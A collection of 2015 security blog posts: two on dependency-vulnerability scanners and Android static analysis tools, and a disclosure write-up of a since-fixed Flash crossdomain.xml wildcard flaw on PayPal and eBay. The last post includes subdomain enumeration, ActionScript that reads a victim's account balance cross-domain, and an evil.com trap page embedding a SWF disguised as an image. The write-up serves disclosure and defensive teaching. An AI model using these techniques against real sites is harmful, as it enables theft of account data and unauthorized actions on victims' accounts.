Friday, November 6, 2015

Automate dependencies checking


An application is like an iceberg. During a security code review, the focus will always be on the code written by the development team. It is easy to forget that most of the code running in production will be framework, libraries, the web server and the operating system.

(Credits robynm pixabay)

Keeping an operating system and its web server up to date might be a relatively simple task but, keeping track of all of the dependencies of an applications (framework and libraries) can be much harder. A complex application can easily have hundred of dependencies. Reviewing all the code of the libraries used is beyond possible for most company. On the other hand, making sure that at least all the libraries used don't have known vulnerabilities seems reasonable.

Tools available


I will present in this blog post two tools that can support this task for Java applications.

  1.  OWASP Dependency Check (Java, .NET, Ruby, node.js, ..)
  2. Victims (Python, Java)

Although the tools target the same objective, they used two different approachs.

1. OWASP Dependency Check


Dependency check extract various keywords including the filename, artifactid (if Maven) and META-INF properties. It than search those keywords in the NIST Natial Vulnerability Database feed.

At first, it might sound like an effective solution but in practice this approach is very approximate. A lot of false positive generated by this tool. The NIST feed include tons of applications that are not Java libraries. Application sharing common keyword in their name is really common,
The NIST feed is not a perfect source of information because not all libraries affected are documented in the database. The search will

Bottom line, it can still be use to do some automate research instead of googling each libraries one by one.

Example of report generated from OWASP Dependency Check

2. Victims CVE Project


Victims is taking a white list approach where all Java CVE are extracted from the NIST feed, documented and mapped to their respective Maven artifactId.

Unfortunately, the detection of many vulnerable artifact because of some missing hash. To still benefit from this source of information, I have start building an alternative client for maven that avoid the intermediary step of creating hash for each vulnerable jars. I did a short demonstration of the first release version at JavaOne last week.

Demo of the Maven Security Versions plugin (Click to zoom)

Clarification : The demonstration above use maven-security-versions. The official maven integration is called victims-enforcer.

Report generated from Maven Security Versions

Closing Thoughts


Just like static analysis tools, it is generally better to use more than one dependency checker. Using both tools allow you to have a better coverage.

References


OWASP Dependency Check : Official Dependency Check page
Victims : Official Victims Github project
RubySec: Ruby advisory database

Tuesday, June 30, 2015

Security Code Review of Android applications

You are developing mobile applications and you have read the OWASP Mobile - Top Ten Mobile Risks. You may be wondering what security tools can help you face the growing complexity of your Android applications. Well, there are plenty! In this article, I will present two free static analysis tools which scan your code directly from your IDE.

Android Lint


What is it?

Android Lint is a static code analyzer provided in the official IDE Android Studio.

What will it find?

The list of checks is quite long, but the number security checks are low. There are still critical checks that justified running this tool regularly.

Installation

None! As mention previously, it is included in the official IDE Android Studio. However, if you want to keep only the security related checks, you can use this "security only" profile.

Demonstration



FindBugs + Find Security Bugs plugin


What is it?

FindBugs is a popular static analysis engine which is widely used in the Java community. Find Security Bugs is a plugin for this tool to bring security rules to the analysis.

What will it find?

The main focus of the security plugin FindSecBugs is to mark weaknesses such insecure communicationcryptography missuses and sensible sections of the application.

Installation

The installation and configuration of FindBugs can be done with few clicks. If you are still using Eclipse (previously official IDE), an equivalent plugin is also available in the Eclipse Marketplace.

Demonstration

Here is a short demonstration that showcases the FindBugs integration in Android Studio.


(Note : An old version of Find Security Bugs is used)

What is next?


Unfortunately, the client mobile application is only the tip of the iceberg. Your application back-end also requires special attention. The number one risk of the OWASP Top Ten Mobile Risk is Weak Server Side Controls after all.

Another great initiative would be to integrate both tools, Android Lint and FindBugs, in your continuous integration environment.

Upcoming presentation at BlackHat USA 2015


I will be presenting the security plugin for FindBugs at Black Hat arsenal. I will give demonstrations of the integration on IntelliJ and on SonarQube. If you have used the tool already, don't hesitate to come give me your feedback in person.
If you are doing Android development, don't miss QARK which will be presented during the same period.




That's it! If you have ideas for new security rules that would apply to Android, don't hesitate to open a ticket on Github.

References


OWASP: Source Code Analysis Tools: List of static code analysis tools
NIST: Source Code Security Analyzers: Another great list of tools classified by language.
Android Lint: Official documentation of Lint
Find Security Bugs: Github website for the FindBugs security plugin
Mobile Security Wiki: A well organized list of resources including tools for Android.

Wednesday, April 15, 2015

crossdomain.xml : Beware of Wildcards

This blog entry will describe a wide spread Flash vulnerability that affected many big websites including paypal.com. The description will picture the state of the website paypal.com and ebay.com in 2013-2014. The vulnerabilities were completely fixed two weeks ago. Therefore, it is not possible to reproduce this vulnerability as-is.

It all starts with a wildcard...


After navigating through the various settings section of my paypal account, I could not find any upload functionalities. Hosting a file directly on www.paypal.com might not be impossible, but it's not the easiest target.

There is an option. Looking at the crossdomain.xml (or clientaccesspolicy.xml).

https://www.paypal.com/crossdomain.xml from 2014
<cross-domain-policy>
    <allow-access-from domain="*.paypal.com"/>
    <allow-access-from domain="*.ebay.com"/>
    <allow-access-from domain="*.paypalobjects.com"/>
</cross-domain-policy>


This tell us that SWF hosted on any of those domains can make requests to the domain www.paypal.com and see the response. In other word, the SWF file will be allowed to do request beyond the same origin basic principle.

Step 1: Finding weak domains


We can find the existing subdomains by using an automate DNS bruteforce tools such as subbrute.

 $ ./subbrute.py ebay.com
ebay.com
blog.ebay.com
groups.ebay.com
home.ebay.com
www.ebay.com
my.ebay.com
members.ebay.com
cs.ebay.com
blogs.ebay.com
search.ebay.com
[...]
labs.ebay.com
developper.ebay.com
community.ebay.com

It is also possible to find upload functionalities with some Google-Fu.

  • site:target.com inbody:attachment
  • site:target.com forum
  • site:target.com upload
  • etc...


From the previous enumeration, I identify that the following where having upload functionnality for images or documents.
  • developper.ebay.com
  • community.ebay.com
  • labs.ebay.com
"Luckily", all three were vulnerable.

Step 2 : Uploading the SWF file


The main objective is being able to serve arbitrary file from a GET request on the targeted domain. The presence of the header "Content-Disposition: attachment .." will make the file benign. Any Content-Type could be present. The following file has all the requirements. It is a file attached to a comment in the Ebay Community Forum.

https://community.ebay.com/ebay01/attachments/ebay01/Communitygroupsandbox/1/12/hello14.jpg
HTTP/1.1 200 OK
Date: Tue, 22 Jul 2014 04:49:07 GMT
Server: Apache
Set-Cookie: VISITORID=147921315; Domain=.ebay.com; Path=/
Last-Modified: Sat, 19 Jul 2014 03:36:27 GMT
Content-Length: 33576
Connection: close
Content-Type: image/jpeg;charset=UTF-8

CWS[...]

Malicious SWF


A SWF file has similar capabilities that JavaScript has in a HTML page. The following code snippet does a HTTP request to the Paypal main page, extract the balance and display it.

Malicious.as
function getAccountBalanceHttpReq() {
    urlLoader = new URLLoader();
    urlLoader.addEventListener(Event.COMPLETE, onComplete);
    urlLoader.load(new URLRequest(encodeURI("https://www.paypal.com/ca/cgi-bin/webscr?cmd=_account&nav=0.0"")));
}

function onComplete(event:Event):void {
    //Extract balance from the page..
    var balanceRegExp:RegExp = /\$.*USD/;
    var amountFound:String = urlLoader.data.match(balanceRegExp);
    
    //Display amount extracted
    this['txtCurrentBalance'].text = amountFound;
    
    //More exfiltration
    //...etc
}

I developed the habit of creating custom SWF. For anyone unfamiliar with ActionScript or Flash, I would definitely suggest the use of prebuild SWF such as CrossXHR.

Step 3 : Hosting a malicious page


All we need is embebbing the remote SWF file in an HTML page. It can be done with <embed> or <object> tags but more easily with the swfobject.js library.

http://evil.com/trap_page.html
<script src="swfobject.js"></script>
<script>
var url ="https://community.ebay.com/ebay01/attachments/ebay01/Communitygroupsandbox/1/12/hello14.jpg";
swfobject.embedSWF(url, "evilSwf", "700", "400", "10.0.0", "expressInstall.swf", {}, {}, {});
</script>

<div id="evilSwf"></div>

That's it! Any logged in user visiting the page would be loading your malicious SWF and actions on their account could be done unless a password is required.

Proof of Concept reading the balance amount

The victim will not be able to notice that HTTP requests are triggered but more interestingly the targeted server would not receive any request different from normal ones. The only information that could be used to confirm an attack is the "Referer" header pointing to the file we uploaded.

Démonstration


Demonstration of the attack described previously. (Fullscreen recommended)


The demonstration shows the most basic attack vector reading account information. The vulnerability also opens the door to submit arbitrary forms including doing money transfer.

Conclusion


Looking at the crossdomain.xml or clientaccesspolicy.xml is a verification that can be done quickly. The attack surface might become bigger than you initially though.


I will be giving a Flash Talk at NorthSec next month on the subject. It will be a short presentation on how to identify variations of this vulnerability.

References